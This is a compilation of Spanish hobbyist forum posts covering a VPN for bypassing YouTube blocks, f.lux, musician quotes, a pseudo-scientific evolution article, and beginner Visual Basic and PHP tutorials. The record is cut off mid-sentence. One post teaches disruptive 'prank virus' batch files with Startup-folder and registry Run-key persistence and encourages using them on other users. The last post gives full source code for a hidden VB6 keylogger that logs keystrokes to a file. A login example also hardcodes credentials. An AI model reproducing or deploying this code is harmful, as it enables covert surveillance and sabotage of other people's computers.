harrisonloco

Antes que nada, se preguntarán por qué Youtube bloquea ciertos vídeos en su país. Ésto se debe a que los dueños del contenido lo controlan y gestionan como lo desean, y lo bloquean en algunos países por cuestiones de licencias/derechos. Youtube por ley debe atender a los reclamos de copyright y facilitar la gestión de contenidos a las creadores de contenido. Debido a ésto he decidido traerles una solución. Éste, digamos, "problema", me ha sucedido varias veces y se me han quedado las ganas de ver tal video. Y obviamente busqué la manera de verlo a toda costa, y después de mucho deambular por la web encontré este programa. Hotspot Shield ¿Qué hace este programa?. Simple, permite que navegues anonimamente en internet, de manera que puedas ingresar a aquellos sitios (en este caso vídeos de youtube) que están bloqueados en tu zona. Además te brinda de seguridad y privacidad dentro de internet. Hotspot Shield VPN es una versátil solución de seguridad y privacidad en Internet. Además de protegerle contra peligrosas amenazas online, también salvaguarda su privacidad en Internet y le permite acceder a sitios web y contenidos bloqueados desde cualquier lugar. • Desbloquear cualquier sitio web. • Ocultar tu dirección IP. • Navegar anónimamente por internet. • Te protege de fisgones y hackers en puntos de acceso WiFi. • Asegura tu sesión en la web. • Protege tus dispositivos de ataques de malware. Pulsamos en "Descarga Gratuita" y luego instalamos el programa. Una vez instalado este programa, ya no nos tendremos que preocupar por las restricciones de Youtube.

¿Ha notado cómo la gente al enviar mensajes de texto por la noche tienen ese misterioso brillo azul ? O despierta listo para escribir la próxima gran idea, y consigue estar cegado por la pantalla del ordenador? Durante el día, la pantalla del ordenador se ve bien: están diseñados para mirar como el sol . Pero, en 21:00, 22:00, o 3AM, probablemente no debería estar mirando hacia el sol. F.lux F.lux soluciona esto: hace que el color de la pantalla de su ordenador se adapte a la hora del día, cálido por la noche y como la luz del sol durante el día. Hasta es posible que te quedes hasta muy tarde por la computadora. Usted podría utilizar F.lux porque te hace dormir mejor, o usted podría usarlo sólo porque hace que el equipo se vea mejor. F.lux hace a la pantalla del ordenador parecerse a la sala en la que se encuentre, todo el tiempo. Cuando se pone el sol, hace que su equipo se vea como las luces interiores. Por la mañana, hace que las cosas se vean como la luz del sol otra vez. Dile a F.lux qué tipo de iluminación que tiene, y donde usted vive. Entonces olvídate de ello. F.lux hará el resto, de forma automática. Disponible para: Windows, Linux, Mac Os y iPhone/iPad Tutorial Primero abrimos el Flux desde aquí Luego nos aparece esta ventana, pulsamos en Change Settings Luego configuramos de como queremos que se vea de día y/o de noche nuestro monitor Luego en la cap anterior te dice "Change" (lo seleccione) pulsamos hay para indicar donde vivimos (país/ciudad) para que el programa sepa si es de noche o no Nos aparece esta ventana y pulsamos en Locate Nos abre una página donde ponemos donde vivimos, ciudad y país, luego pulsamos Go, luego abajo nos aparece un código lo copiamos y pegamos en la ventana que nos apareció y damos ok y listo!

Frases de Cantantes Famosos -Kurt Cobain- "Desear ser otra persona es un desperdicio de la persona que eres." "Prefiero ser el peor de los mejores que el mejor de los peores." -Bob Marley- "Cuando una puerta se cierra, aunque no lo veas, otra se abre." "Las guerras seguirán mientras el color de la piel siga siendo más importante que el de los ojos." -Amy Lee- "Si la gente se burla de ti, debes estar haciendo algo bien." “Intento convertir sentimientos tristes y negativos en algo hermoso, así me siento mejor persona y eso me hace sonreír” -Jim Morrison- "Un amigo es aquel que te da la libertad de ser tú mismo." "La libertad es la conciencia de la necesidad." -Hayley Williams- "Si te sientes solo, se que el mundo puede ser un lugar solitario, pero sería mas solitario sin ti en el." "Las personas que son 'diferentes' son las que usualmente terminan haciendo un cambio en el mundo" -Joe satrini- "Mi inspiración no viene del espacio, sólo viene hacia mi. No tengo idea porqué vienen cuando vienen." -Chester Bennington- "No podés tenér miedo de gente que está dispuesta a hacerte daño, porque si temés a la vida, nunca vivirás" "El trabajo serio, con fe y dedicación, puede superar todos los obstáculos y conseguir lo que quieres!" -Jhon Lennon- "Técnicamente no soy muy bueno, pero puedo hacer aullar y mover una guitarra." "Todo es mas claro cuando estas enamorado." -Michael Jackson- "Para mi, el mayor pecado de todos los pecados es recibir un don y no cultivarlo, para que crezca, ya que el talento es un regalo divino." "La gente siempre estará dispuesta a pensar lo peor de ti" -Freddie Mercury- "La peor enfermedad es el aburrimiento." "No me importa morir mañana. He vivido, en toda la extensión de la palabra."

Hola Amigos de T! En este post les enseñare como hacer un virus de broma (falso). por favor atiendan y lean o si no sus pc puede que..... jajaja solo tomen atensión En serio! Bueno a por el primer virus la pc se apaga sola, en el menú inicio>ejecutar>notepad ahora copiar lo siguente: "shutdown -s -t 00" despues de -t (puedes darle un numero, significa tiempop de espera para que se apage la pc) solo le quitan las comillas. Guardar el archivo con cualquier nombre con extencion .bat (Archivo->Guardar como… -> Tipo de archivo: todos los archivos ->Nombre:virus.bat -> ANSI Type) ahora ya tenemos un pequeño virus de broma. le lo copiamos y pegamos en menú inicio>todos los programas>inicio reiniciamos la pc y despues inicia windows y se apaga. virus la pc reinicia, en el menú inicio>ejecutar>notepad ahora copiar lo siguente: shutdown-r -f -t 5 -c despues de -t5 (puedes cambiar el nº 5 y darle un numero que quieras, significa tiempop de espera para que reinicie la pc) Guardar el archivo con cualquier nombre con extencion .bat (Archivo->Guardar como… -> Tipo de archivo: todos los archivos ->Nombre:virus.bat -> ANSI Type) ahora ya tenemos un pequeño virus de broma. le lo copiamos y pegamos en menú inicio>todos los programas>inicio reiniciamos la pc y despues inicia windows y reinicia. otro broma por supuesto esta vez un mesnsaje de error. en el menú inicio>ejecutar>notepad: copiamos asi como esta completo sin quitar nada msgbox “Error en 0x000FCA4:0×00000004: la memoria no sepuede “read”,16,”Winlogon” guardar como error.vbs (Archivo->Guardar como… -> Tipo de archivo: todos los archivos ->Nombre: error.vbs -> ANSI Type) copiamos como en el anterior y reinician la pc y ya un mensaje de error (recomiendo que lo utilisen con el virus anterior) NO RECOMIENDO QUE LO UTILICEN EN SU PC!! las mayusculas hablan enserio menú inicio>ejecutar>notepad llamado bdxcom.exe, guardenlo en c:windowssystem32, y hagan otro archivo llamadoinstalar.reg, que contendrá lo siguiente: REGEDIT4 [HKEY_LOCAL_MACHINESoftwareMicrosoftWindowscurrentversionrun] “bdxcom”=”C:windowssystem32bdxcom.exe” Este es un virus muy pero muy complicado de eliminar Bueno hasta aquí el post y que tengan exito en sus virus, esto pueden usarlo con cualquier usuario ordinario de windows xp,win vista,win 7 Si les ha gustado este post al menos comenten Ayuden a los novatos!!!

En teoría seremos así en el año 2768 Según un artículo encontrado del siglo pasado (con muy escaso rigor científico, ni siquiera hipotético) el ser humano evolucionaría físicamente para hacer frente a un mundo altamente contaminado y tóxico. ¿Estaríamos hablando de una selección natural del hombre? Quizá. La publicación fue hecha en la antigua Unión Soviética por el Dr. WS Goker. Ojos. Con el fin de soportar el contacto con contaminantes en la atmósfera, el ojo humano será similar al de cerdo. Una membrana transparente (que ahora se puede encontrar en la esquina interna del ojo), será más grande y servirá como un segundo párpado. Nariz. Aumentara de tamaño y tendrá un sistema de compartimentos y filtros para limpiar mejor el aire. Por la misma razón, los pelos de la nariz se volverán más gruesos y más largos. Pulmones. Aumentan de tamaño y se conectarán al sistema circulatorio, lo que permitirá la extracción de aire de una pequeña cantidad de oxígeno. Hígado. Su capacidad para limpiar la sangre aumentará dramáticamente hasta convertirse en un órgano más eficaz para el filtrado de sustancias venenosas. La piel se vuelve más brutal, con áreas calcificadas para evitar quemaduras por sustancias químicas contaminantes en la atmósfera. Apéndice. Dejará de tener una función superficial, ayudando a transformar cualquier tipo de alimento vegetal (una vez que la carne se convierta en no apta para su consumo debido a la contaminación). La estructura ósea. Será más ligera y más frágil debido a la relativa falta de vitamina D (la reducción de la cantidad de luz solar y la mala alimentación). Cabello. Desaparecerá debido a un fuerte calentamiento global. Orejas. El aumento de ruido dará lugar a la formación de pliegues en los oídos, haciéndolos más similar a los del perro. Una persona podrá elevarlos para escuchar mejor y bajarlos para reducir el ruido de flujo. Temperamento. El hombre va a ser un poco loco. Esto es debido a la presencia de sustancias tóxicas en los productos alimenticios (que contienen un alto porcentaje de mercurio). Aparatos respiratorios. Inmediatamente después del nacimiento, el hombre necesita una unidad especial de respiración, que le ayudará a sobrevivir las primeras semanas de vida. Riñones. Adquirirán una nueva función – la extracción de agua de la orina y la conservación del agua en el cuerpo. En lugar de líquido, la persona va a orinar en una especie de puré, compuesto de ácido úrico y sustancias tóxicas.

Bienvenidos... En este post les doy los códigos y enseño como hacer un instalador sensillo en visual basic 6.0 o visual basic 2008, ya que e visto tantas personas preguntando la misma cosa ¿Como hago un instalador en Visual Basic? bueno esto yo me lo pille solo (si es repost avisen) Primero con el visual basic 2008: Necesitamos 3 forms form1: 2 botones (Siguiente, Cancelar) código del botón Siguiente: On Error GoTo labela GetAttr( "Dirección de tu programa" ) If MsgBox( "El Programa se encuentra instalado. Desea reinstalarlo?", vbInformation + vbYesNo, "Setup Info" ) = vbYes Then Form2.Show() Me.Hide() Else MsgBox( "Se a cancelado la instalacion", vbInformation, "Setup end" ) End End If Exit Sub labela: Form2.Show() Me.Hide() En donde dice "GetAttr("Dirección de tu programa" ) , en vez de Dirección de tu programa ponle la dirección de tu programa pero no le quiten las comillas (recomiendo que no le pongan en disco local c: ya que yo no pude hacerlo asi, por que a la hora de instalar me manda un error) Código Botón Cancelar: If MsgBox( "Esta seguro que desea cancelar la instalacion?", vbInformation + vbYesNo, "Instalacion de Nombre de Tu Programa" ) = vbYes Then End Else End If Form2: 2 botones (Instalar y Cancelar) Código Botón Instalar: FileCopy( "Nombre Completo del Programa", "D:Nombre Completo del Programa" ) en donde dise Nombre Completo del Programa ponle el nombre completo de tu programa mas la extención. Ej.: "MyPrograma.exe" y donde dice "D:Nombre Completo del Programa" ponganle la dirección de donde va a instalar o compiar el programa al igual que al anterior ponganle el nombre completo del programa mas extencion, y la D: se le puede cambiar con la dirección del programa, pero como antes mencione, no le pongan en el disco C ya que a veces producen errores este codigo se alarga dependiendo de los archivos ejemplo: FileCopy( "Nombre Completo del Programa", "D:Nombre Completo del Programa" ) FileCopy( "Otros archivos mas extencion", "D:Otros archivos mas extencion" ) al final de los códigos le ponemos el siguiente código: me.hide form2.show y si quieren que el cursor (flechita del mouse) cambie al modo de cargando o algo por el estilo el siguiente codigo ensima del código anterior me.cursor = 11 y el codigo terminaria siendo asi: me.cursor = 11 FileCopy( "Nombre Completo del Programa", "D:Nombre Completo del Programa" ) FileCopy( "Otros archivos mas extencion", "D:Otros archivos mas extencion" ) me.hide form2.show Código Botón Cancelar: If MsgBox( "Esta seguro que desea cancelar la instalacion?", vbInformation + vbYesNo, "Instalacion de Nombre de Tu Programa" ) = vbYes Then End Else End If Form3: 1 Botón (Salir), 1 CheckedBox(Abrir el Programa al Salir) botón salir: If CheckBox1.CheckState = CheckState.Checked Then Shell("Dirección en donde se instalo el programa mas su extencion y nombre" ) Me.Close() Else Me.Close() End If Para generar su proyecto en los menus busca "Generar" y darle click en Generar "Mas nombre de tu proyecto" bueno una vez que generamos el proyecto vamos a la carpeta de release y copiamos los archivos del instalador y lo pegamos junto a la carpeta de los archivos a instalar ahora pasamos al visual basic 6 3 forms form1: 2 comandbuttons o botones (siguiente y cancelar) código boton siguiente: On Error GoTo labela a = GetAttr( "Dirección de tu programa" ) If MsgBox( "El Programa se encuentra instalado. Desea reinstalarlo?", vbInformation + vbYesNo, "Setup Info" ) = vbYes Then Form2.Show Unload Me Else a = MsgBox( "Se a cancelado la instalacion", vbInformation, "Setup end" ) End End If Exit Sub labela: Form2.Show Unload Me En donde dice "GetAttr("Dirección de tu programa" ), en vez de Dirección de tu programa ponle la dirección de tu programa pero no le quiten las comillas este si acepta guardar los archivos en disco local c: y en cualquier carpeta de ella menos por supuesto los que ni siquiera el usuario tiene permiso a entrar Botón Cancelar: If MsgBox( "Esta seguro que desea cancelar la instalacion?", vbInformation + vbYesNo, "Instalacion de Nombre de Tu Programa" ) = vbYes Then End Else End If Form2: 2 command (Instalar y Cancelar) Botón Instalar: Me.MousePointer = 11 On Error Resume Next FileCopy App.Path + "Nombre de Tu programa con extención", "Dirección mas Nombre de Tu programa con extención" Unload Me Form3.Show En donde dice "Nombre de Tu programa con extención" ingresa el nombre de tu programa mas extenció. Ej.: MiPrograma.exe y donde dice "Dirección mas Nombre de Tu programa con extención" ponle la dirección de tu programa mas su nombre ej.: "C : Program FilesMiPrograma.exe" y en ninguna de las dos quiten las comillas ya que asi el código no funciona. y como el anterior este tambien se puede duplicar con la cantidad de archivos ej.: Me.MousePointer = 11 On Error Resume Next FileCopy App.Path + "Nombre de Tu programa con extención", "Dirección mas Nombre de Tu programa con extención" FileCopy App.Path + "Otros Archivos", "Dirección mas Otros Archivos con extención" Unload Me Form3.Show botón cancelar: If MsgBox( "Esta seguro que desea cancelar la instalacion?", vbInformation + vbYesNo, "Instalacion de Nombre de Tu Programa" ) = vbYes Then End Else End If Y por último el Form3 : 1 comand (Salir) y un CheckBox(Abrir el Programa al Salir) Código del Botón Salir: If Check1.Value = Checked Then Shell("Dirección en donde se instalo el programa mas su extencion y nombre" ) Unload Me Else Unload Me End If Para guardar en un .exe (ejecutable) van a archivo y guardar o generar "mas el nombre de su proyecto o programa" Esto va lo mismo lo generan y guardan en la carpeta de donde quedan los archivos a instalar Bueno Ahora a por un truquillo Para sus programas a instalar. este código sirve para que cuando el programa no este instalado salte un error y que diga que el programa no esta instalado Código para Vb 2008 (esto deben pegarlo en el codigo del form o class form ) : On Error GoTo labela GetAttr( "Dirección de tu programa" ) Me.Show() Exit Sub labela: MsgBox("El Programa no se encuentra Instalado en su Sistema", vbCritical, "Error" ) End Y para el VB 6 (esto lo pegan en el codigo del form o ensima del codigo del form ) : On Error GoTo labela a = GetAttr( "Dirección de tu programa" ) Me.Show Exit Sub labela: a = MsgBox( "El Programa no se encuentra Instalado en su Sistema", vbCritical, "Error" ) End Bueno espero haberles servido en algo Perdonen por que el post no este tan decorado es que lo hice primero en un bloc de notas Si pueden unanse a mi Comunidad se llama A Programar Taringa! Como empaquetar los archivos a instalar en un EXE usando una aplicación del visual studio Aburrido del form del vb6?? pasate por el siguiente post ;D

Como hacer un reproductor Seleccionamos el form, en propiedades buscamos BackColor y buscamos color negro, en caption el nombre de tu reproductor, BorderStyle poner FixedSingle, y MinButton a True Necesitamos 4 command (abrir,pausa,play,stop) 1 picturebox (propiedades y color un poco mas gris que el form) 1 windowsmediaplayer(para hacer esto, click secundario o click derecho en cualquier icono del cuadro de herramientas y click en "Componentes", bajar la barra deslizadora y seleccionar windows media player y aceptar, buscamos el icono de windows media player y lo ponemos en el form) 2 timers 1 HScrollbar(para el volumen) 1 label (debera ir debajo de HScrollbar, en forecolor, verde) y queda hasi (diferenciaran cada cosa por sus colores) no crean que di una opcion para ocultar los controles del windowsmediaplayer, lo unico que hise es pasar el form por ensima seguido doble click en cualquier objeto del form ya sea los botones o timers no importa solo doble click, luego aparece el cuado de codigos, borran todo e ingresan el siguiente código dijo:Private Sub Command1_Click() CommonDialog1.Filter = "Mp3 [*.Mp3*]|*.Mp3|Mp4 [*.Mp4*]|*.Mp4|Wav [*.Wav*]|*.Wav|Avi [*.Avi*]|*.Avi|Wma [*.Wma*]|*.Wma|Mpg [*.Mpg*]|*.Mpg|Todos los Archivos [*.*]|*.*" CommonDialog1.DialogTitle = "-••MultiPlay••- Abrir Archivo" CommonDialog1.ShowOpen If CommonDialog1.CancelError = False Then Me.WindowsMediaPlayer1.URL = Me.CommonDialog1.FileName Picture1.ToolTipText = Me.WindowsMediaPlayer1.currentMedia.sourceURL Form1.Caption = "Reproductor - " + Me.WindowsMediaPlayer1.currentMedia.Name Timer1.Enabled = True Else End If End Sub Private Sub Command2_Click() If WindowsMediaPlayer1.playState = wmppsPaused Then WindowsMediaPlayer1.Controls.play Else WindowsMediaPlayer1.Controls.pause End If End Sub Private Sub Command3_Click() If WindowsMediaPlayer1.playState = wmppsPaused Then WindowsMediaPlayer1.Controls.play Else WindowsMediaPlayer1.URL = Me.CommonDialog1.FileName End If End Sub Private Sub Command4_Click() WindowsMediaPlayer1.Controls.stop End Sub Private Sub Command5_Click() End Sub Private Sub Form_Load() Label1.Caption = Me.HScroll1.Value Me.HScroll1.Max = 100 End Sub Private Sub Timer1_Timer() Static Anterior As Boolean Static tamañoLetrero As Single Static X As Single If Not Anterior Then tamañoLetrero = Picture1.TextWidth(Letrero) Anterior = True X = Picture1.ScaleWidth End If Picture1.Cls Picture1.CurrentX = X Picture1.CurrentY = 0 'Para cambiar el tipo de letra Picture1.FontName = "Arial" Picture1.FontBold = True Picture1.Print "-- "; Me.WindowsMediaPlayer1.currentMedia.Name; " --" X = X - 30 If X < -tamañoLetrero Then X = Picture1.ScaleWidth End Sub Private Sub Timer2_Timer() Me.WindowsMediaPlayer1.settings.volume = Me.HScroll1.Value Label1.Caption = Me.HScroll1.Value End Sub Private Sub Timer3_Timer() End Sub Si hay algun error en el código abisen, y no olviden comentar, que asi me motivo a subir mas codigos pasense por mi post (reproductor avanzado) a los que son generosos lespido si quieren formar parte de mi comunidad Como hacer un instalador en VB2008 y VB6 Como hacer un instalador con una aplicacion de visual studio 6

Bueno T! ya pasado mi cumpleaños el 31 de marzo (cumpli 14 ) Bueno ya..en este post les doy un codigo facilito para poner un usuario y una contraseña al form. Empezemos.Abrimos nuestro Visual Basic, nuevo form, creamos otro form en el mismo proyecto...ahora en el form1 ponemos 2 textbox y dos label, en el primer label le ponemos Usuario y en el segundo Contraseña, en orden iria el label1 y abajo el textbox1, el label2 abajo el textbox2, y un boton al que le ponemos Entrar o Ingresar, tambien se le puede agregar un timer para mas facilidad para ocultar la contraseña.CODIGOS:BOTON ENTRAR:If TextBox1.Text = "TUUSUARIO" Then If TextBox2.Text = "TUCONTRASEÑA" Then Form2.Show() Me.Hide() Else End If Else Msgbox"Datos no Validos" End If TIMER1 TextBox2.PasswordChar = "•"FORM1 timer1.startParticipen en mi Comunidad

Banner aleatorio en PHP En PHP existen complejos sistemas de rotación de banners, basados en bases de datos y estadísticas muy interesantes. Estos sistemas son realmente buenos, pero si tenemos un web site pequeño, y no nos interesa tanto el conteo de clics, etc. Podemos rotar banners sólo con PHP puro y las imágenes requeridas. Aún así, las imágenes no tienen que estar en tu server, pueden estar en donde sea. Para mostrar la rotación en todas tus páginas, crearemos un archivo llamado ads.php, que contendrá todo lo necesario para mostrar los banners aleatorios, de este modo, lo único que debes hacer es incluir este archivo en todas tus páginas. ¿Cómo hacerlo? Supongamos que en la página index.php, deseas incluir el pequeño sistema de rotación, entonces sólo debes insertar el siguiente código, en el lugar que desees: <? include("ads.php" ) ?> La ventaja de nuestro sistema es que las imágenes no deben ser todas del mismo tamaño, podemos crear archivos similares ads.php, pero con diferentes tipos de banners. Por ejemplo, ads_peq.php, para rotación de botones, etc. Ahora veamos el código del script: <? $numbanners = 3; //numero de banners que se rotarán $random = rand(1,$numbanners); $img = array(); $url = array(); $txt = array(); $img[1] = "/articulos/archivos/banner1.gif"; $url[1] = "http://www.enlace1.com"; $txt[1] = "Visita el enlace del banner 1"; $img[2] = "/articulos/archivos/banner2.gif"; $url[2] = "http://www.enlace2.com"; $txt[2] = "Visita el enlace del banner 2"; $img[3] = "/articulos/archivos/banner3.gif"; $url[3] = "http://www.enlace3.com"; $txt[3] = "Visita el enlace del banner 3"; echo "<a href='$url[$random]' target='_blank'><img src='$img[$random]' alt='$txt[random]' border='0'></a>"; ?> Vamos a aclarar un poco el código. La variable $numbanners, debe contener el número exacto de banners que deseas rotar. Después $random, se encargará de devolver un número aleatorio entre 1 y el número de banners, es decir, entre el primer banner y el último. Ahora, por cada banner que desees agregar, debes utilizar la estructura básica: $img[x] = "banner.gif" //url de la imagen $url[x] = "http://www.enlace.com" //url del sitio web $txt[x] = "Visitanos!" //texto ALT La x debe aumentar de acuerdo al número de banners, es decir, si el último fue $img[3], $url[3], $txt[3], el siguiente será con "[4]". Como ves este tipo de sistema es muy sencillo, y también se utilizan similares para rotar banners en JavaScript. Finalmente, debes tener en cuenta que por cada banner que agregues, debes cambiar el valor de $numbanners, sumandole uno, o restándole en caso de que elimines banners. Es decir, $numbanners, siempre debe contener el valor que corresponda a la cantidad de banners a rotar. Si no es así, el sistema funcionará a la perfección, pero sólo rotará los banners que estén en el intervalo de $numbanners (3 en este ejemplo). Ahora ya tienes un pequeño sistema de rotación de publicidad en tu sitio web. Pero libera tu imaginación, y especifica nuevas variables y opciones, para que personalices al máximo el script.

Bueno simplemente comienzo:1 form y 1 moduloen el form ponemos 3 timers y un Texten propiedades del text en scrollbars seleccionamos "3 - Both", en Multiline damos "True"luego hacemos doble click dentro del Form y borramos todo y luego pegamos el siguiente codigodijo:Option Explicit'En vb2, vb3 y vb4 de 16 bits'Private Declare Function GetAsyncKeyState Lib "user" (ByVal vKey As Integer) As IntegerPrivate Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As IntegerDim iDim LastData As StringDim Shift As IntegerDim Caps As IntegerDim KeyResult As LongPrivate Sub AddKey(Key As String)Text1 = Text1 & KeyText1.SelStart = Len(Text1)End SubPrivate Sub Form_Load()Timer1.Enabled = True Timer1.Interval = 1 Timer2.Enabled = True Timer2.Interval = 100 Timer3.Enabled = True Timer3.Interval = 1Form1.Visible = False'En el Form_Load del text-box:Dim LTmp As LongLTmp = SendMessage(Text1.hwnd, EM_LIMITTEXT, 0, ByVal 0& )End SubPrivate Sub Form_Unload(Cancel As Integer)Form3.ShowMe.HideEnd SubPrivate Sub Timer1_Timer()KeyResult = GetAsyncKeyState(20)If KeyResult = -32767 ThenIf Caps ThenCaps = FalseElseCaps = TrueEnd IfGoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(13)If KeyResult = -32767 ThenAddKey "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(8)If KeyResult = -32767 ThenAddKey "[BKSPACE]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(9)If KeyResult = -32767 ThenAddKey "[TAB]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(27)If KeyResult = -32767 ThenAddKey "[Esc]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(32)If KeyResult = -32767 ThenAddKey "[Espacio]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(37)If KeyResult = -32767 ThenAddKey "[LEFT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(38)If KeyResult = -32767 ThenAddKey "[UP]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(39)If KeyResult = -32767 ThenAddKey "[RIGHT]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(40)If KeyResult = -32767 ThenAddKey "[DOWN]"GoTo KeyFoundEnd IfFor i = 65 To 90KeyResult = GetAsyncKeyState(i)If KeyResult = -32767 ThenIf Shift ThenIf Caps Then AddKey Chr(i + 32) Else AddKey Chr(i)ElseIf Caps Then AddKey Chr(i) Else AddKey Chr(i + 32)End IfGoTo KeyFoundEnd IfNext iFor i = 48 To 57KeyResult = GetAsyncKeyState(i)If KeyResult = -32767 ThenIf Shift ThenIf i = 49 Then AddKey Chr(33)If i = 50 Then AddKey Chr(64)If i = 51 Then AddKey Chr(35)If i = 52 Then AddKey Chr(36)If i = 53 Then AddKey Chr(37)If i = 54 Then AddKey Chr(94)If i = 55 Then AddKey Chr(38)If i = 56 Then AddKey Chr(42)If i = 57 Then AddKey Chr(40)If i = 48 Then AddKey Chr(41)ElseAddKey Chr(i)End IfGoTo KeyFoundEnd IfNext iKeyResult = GetAsyncKeyState(16)If KeyResult = -32767 And Not Shift ThenShift = TrueGoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(32)If KeyResult = -32767 ThenAddKey " "GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(189)If KeyResult = -32767 ThenIf Shift Then AddKey "_" Else AddKey "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(187)If KeyResult = -32767 ThenIf Shift Then AddKey "+" Else AddKey "="GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(112)If KeyResult = -32767 ThenAddKey "[F1]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(113)If KeyResult = -32767 ThenAddKey "[F2]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(114)If KeyResult = -32767 ThenAddKey "[F3]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(115)If KeyResult = -32767 ThenAddKey "[F4]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(116)If KeyResult = -32767 ThenAddKey "[F5]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(117)If KeyResult = -32767 ThenAddKey "[F6]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(118)If KeyResult = -32767 ThenAddKey "[F7]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(119)If KeyResult = -32767 ThenAddKey "[F8]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(120)If KeyResult = -32767 ThenAddKey "[F9]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(121)If KeyResult = -32767 ThenAddKey "[F10]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(122)If KeyResult = -32767 ThenAddKey "[F11]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(123)If KeyResult = -32767 ThenAddKey "[F12]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(124)If KeyResult = -32767 ThenAddKey "[F13]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(125)If KeyResult = -32767 ThenAddKey "[F14]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(126)If KeyResult = -32767 ThenAddKey "[F15]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(127)If KeyResult = -32767 ThenAddKey "[F16]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(186)If KeyResult = -32767 ThenIf Shift Then AddKey ":" Else AddKey ";"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(188)If KeyResult = -32767 ThenIf Shift Then AddKey "<" Else AddKey ","GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(190)If KeyResult = -32767 ThenIf Shift Then AddKey ">" Else AddKey "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(191)If KeyResult = -32767 ThenIf Shift Then AddKey "?" Else AddKey "/"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(192)If KeyResult = -32767 ThenIf Shift Then AddKey "~" Else AddKey "`"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(222)If KeyResult = -32767 ThenIf Shift Then AddKey Chr(34) Else AddKey "'"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(220)If KeyResult = -32767 ThenIf Shift Then AddKey "|" Else AddKey ""GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(221)If KeyResult = -32767 ThenIf Shift Then AddKey "}" Else AddKey "]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(219)If KeyResult = -32767 ThenIf Shift Then AddKey "{" Else AddKey "["GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(96)If KeyResult = -32767 ThenAddKey "0"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(97)If KeyResult = -32767 ThenAddKey "1"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(98)If KeyResult = -32767 ThenAddKey "2"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(99)If KeyResult = -32767 ThenAddKey "3"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(100)If KeyResult = -32767 ThenAddKey "4"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(101)If KeyResult = -32767 ThenAddKey "5"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(102)If KeyResult = -32767 ThenAddKey "6"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(103)If KeyResult = -32767 ThenAddKey "7"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(104)If KeyResult = -32767 ThenAddKey "8"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(105)If KeyResult = -32767 ThenAddKey "9"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(106)If KeyResult = -32767 ThenAddKey "*"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(107)If KeyResult = -32767 ThenAddKey "+"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(108)If KeyResult = -32767 ThenAddKey "[ENTER]"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(109)If KeyResult = -32767 ThenAddKey "-"GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(110)If KeyResult = -32767 ThenAddKey "."GoTo KeyFoundEnd IfKeyResult = GetAsyncKeyState(111)If KeyResult = -32767 ThenAddKey "/"GoTo KeyFoundEnd IfKeyFound:End SubPrivate Sub Timer2_Timer()On Error Resume Next Dim graba As String graba = "DIRECCION" 'direccion en donde se va a guardar automaticamente el contenido detectado mas el nombre del archivo con extension "TXT" pero nunca le quiten las comillas... ej.: "D:Resultado.txt" Open graba For Output As #1 Print #1, Date & vbCrLf & "--------------------------------" & vbCrLf; Text1.Text Close #1End Sub[/quote]y en el Modulodijoublic Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPublic Const WM_USER = &H400Public Const EM_LIMITTEXT = WM_USER + 21[/quote]Ahora a provar y el keylogger no lo van a ver ya que va a estar ocultoAhora el keylogger que hise yo algo con un poco mas de detallehttp://www.taringa.net/posts/downloads/10729986/Un-keylogger-echo-por-mi-en-VB6.htmlUn reproductor avanzadohttp://www.taringa.net/posts/downloads/10722208/reprodutor-_avanzado_-que-hise-con-vb6.htmlMail-Blue (para enviar correo 